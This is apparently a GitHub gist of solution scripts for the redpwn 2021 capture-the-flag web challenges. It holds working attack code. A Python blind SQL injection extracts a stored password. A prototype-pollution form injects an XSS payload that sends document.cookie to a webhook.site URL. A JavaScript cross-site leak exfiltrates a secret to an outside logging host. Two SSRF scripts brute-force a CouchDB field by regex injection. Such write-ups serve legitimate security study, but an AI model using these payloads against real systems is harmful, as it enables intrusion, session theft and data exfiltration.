Skip to content

Instantly share code, notes, and snippets.

@arxenix
Last active July 12, 2021 19:30
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save arxenix/9e6c197af57f962b893054c2c23eb96f to your computer and use it in GitHub Desktop.
Save arxenix/9e6c197af57f962b893054c2c23eb96f to your computer and use it in GitHub Desktop.
redpwn 2021 mini web solutions
import requests
import random
allowed_characters = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'
)
def gen_username():
return ''.join(
random.choice(list(allowed_characters)) for _ in range(10)
)
def reg(user, pwd):
r = requests.post('https://cool.mc.ax/register', data={'username': user, 'password': pwd}).content
print(r)
return r
def login(user, pwd):
r = requests.post('https://cool.mc.ax/', data={'username': user, 'password': pwd}).content
return b"Incorrect" not in r
import string
password_charset = string.printable
password = ""
while True:
u = gen_username()
print("user", u)
len_to_get = len(password)+1
r = reg(u, f"'||substr((SELECT password FROM users),1,{len_to_get}))--")
if b"Internal" in r:
print("INTERNAL SERVER ERR")
continue
for c in password_charset:
if login(u, password + c):
password += c
print("PASSWORD", password)
break
else:
print("not", password + c)
with open('lazyadmin', 'w+') as f:
# boundary is 4 hex chars, so we brute force it
for i in range(65536):
boundary = hex(i)[2:].zfill(4)
f.write(f'\r\n--{boundary}')
f.write('\r\nContent-Disposition: form-data; name="picture";')
f.write('\r\n\r\n{"protocol":"http:","host":"","path":"/flag","search":""}')
f.write(f'\r\n--{boundary}--\r\n')
# send 'lazyadmin' file to discord bot
<form method="POST">
<fieldset name="params">
<div id="username">
<label for="author">Username:</label>
<input name="author" type="text">
</div>
<div id="content">
<label for="content">Comment:</label>
<textarea name="content"></textarea>
</div>
<input value="Post Comment" type="submit">
</fieldset>
<fieldset name="&#37;5f_proto__">
<input name="error" type="text" value="1">
<input name="message" type="text" value="<img src=x onerror='window.location=`https://webhook.site/b6a95f5f-4fa4-4839-87d3-5c48467d00bb?a=${encodeURIComponent(document.cookie)}`'>">
</fieldset>
<div class="error"></div>
</form>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Pastebin-3 solution</title>
</head>
<body>
<script>
let DELAY = 250;
let flag = "flag{c00k13_b0mb1n6_15_f4k3_vuln";
let start = "3";
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
async function log(data) {
fetch("http://hc.lc/log.php?msg=" + encodeURIComponent(data));
}
// this primitive lets us check if a window is at a specific location using history.length
async function isLocation(w, url, delay) {
w.location = "about:blank";
await sleep(delay);
let start = w.history.length;
w.history.back();
await sleep(delay);
w.location = url;
await sleep(delay);
w.location = "about:blank";
await sleep(delay);
let diff = w.history.length - start;
w.history.go(-1 - diff);
return diff === 0;
}
// this paste ID contained an XSS that let us set length of cookies with the hash parameter
// #8000 sets cookie length of 8000
//
cookie_paste =
"https://sandbox.pastebin-3.mc.ax/?id=31c756bf6f789732bd32da01a35f31edb588a54d7f4f1891f49672171f6c152b";
async function main() {
let charset = "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ{}!\"#$%&'()*+,-./:;<=>?@[]\\^|~`";
// step 1: set their cookies really large
let w = window.open(cookie_paste + "#8000");
await sleep(DELAY);
let first = true;
while (!flag.endsWith("}")) {
let si = first ? charset.indexOf(start) : 0;
first = false;
for (var i = si; i < charset.length; i++) {
var c = charset[i];
let guess = flag + c;
// send them to search
w.location =
"https://pastebin-3.mc.ax/search?query=" +
encodeURIComponent(guess);
await sleep(DELAY);
// send them to /
// if the search was successful, a flash() would occur setting their cookies even larger, making them over the limit that the server accepts
// so the / endpoint will redirect them to /home
// if search returned no results, a smaller flash() occurs, and their cookies are still within the threshold
// so the / endpoint will error, and will NOT redirect them
w.location = "https://pastebin-3.mc.ax/";
await sleep(DELAY);
// now we use our isLocation primitive to check if they followed the redirect or not :)
// (aka: was the search successful or not)
// and exfil flag char by char
if (await isLocation(w, "https://pastebin-3.mc.ax/home", DELAY)) {
// no error, we got redirected successfully
console.log("not " + guess);
log("not:"+guess);
await sleep(DELAY);
} else {
log("FLAG:"+guess);
flag = guess;
console.log("FLAG: " + flag);
await sleep(DELAY);
// reset cookies...
w.location = cookie_paste + "#0";
await sleep(DELAY);
w.location = "https://pastebin-3.mc.ax/home";
await sleep(DELAY);
w.location = cookie_paste + "#8000";
await sleep(DELAY);
break;
}
}
}
}
main();
</script>
</body>
</html>
import requests
import os
import json
import string
# first we create a user
username = os.urandom(8).hex()
password = os.urandom(8).hex()
auth = f'{username}:{password}'
print(auth)
r = requests.get(f'https://requester.mc.ax/createUser?username={username}&password={password}')
print(r.content)
assert b'Something went wrong' not in r.content
flag = 'flag{JaVA'
charset = string.ascii_letters + string.digits + '_'
while True:
for c in charset:
guess = flag+c
params = {
'url': f'http://{auth}@Couchdb:5984/{username}/_find',
'method': 'POST',
'data': json.dumps({
'selector': {
'flag': {
'$regex': f'^{guess}'
}
}
})
}
r = requests.get('https://requester.mc.ax/testAPI', params=params)
print(guess, r.content)
if b'Something went wrong' in r.content:
flag = guess
print("SUCCESS!")
break
import requests
import os
import json
import string
# first we create a user
username = os.urandom(8).hex()
password = os.urandom(8).hex()
auth = f'{username}:{password}'
print(auth)
r = requests.get(f'https://requester-strikes-back.mc.ax/createUser?username={username}&password={password}')
print(r.content)
assert b'Something went wrong' not in r.content
flag = 'flag{'
charset = string.ascii_letters + string.digits + '_'
while True:
for c in charset:
guess = flag+c
params = {
'url': f'http://{username}:{password}@%63ouchdb%3a5984@lol:5984/{username}/_find',
#'url': f'http://{auth}@Couchdb:5984/{username}/_find',
'method': 'POST',
'data': json.dumps({
'selector': {
'flag': {
'$regex': f'^{guess}'
}
}
})
}
r = requests.get('https://requester-strikes-back.mc.ax/testAPI', params=params)
print(guess, r.content)
if b'Something went wrong' in r.content:
flag = guess
print("SUCCESS!")
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment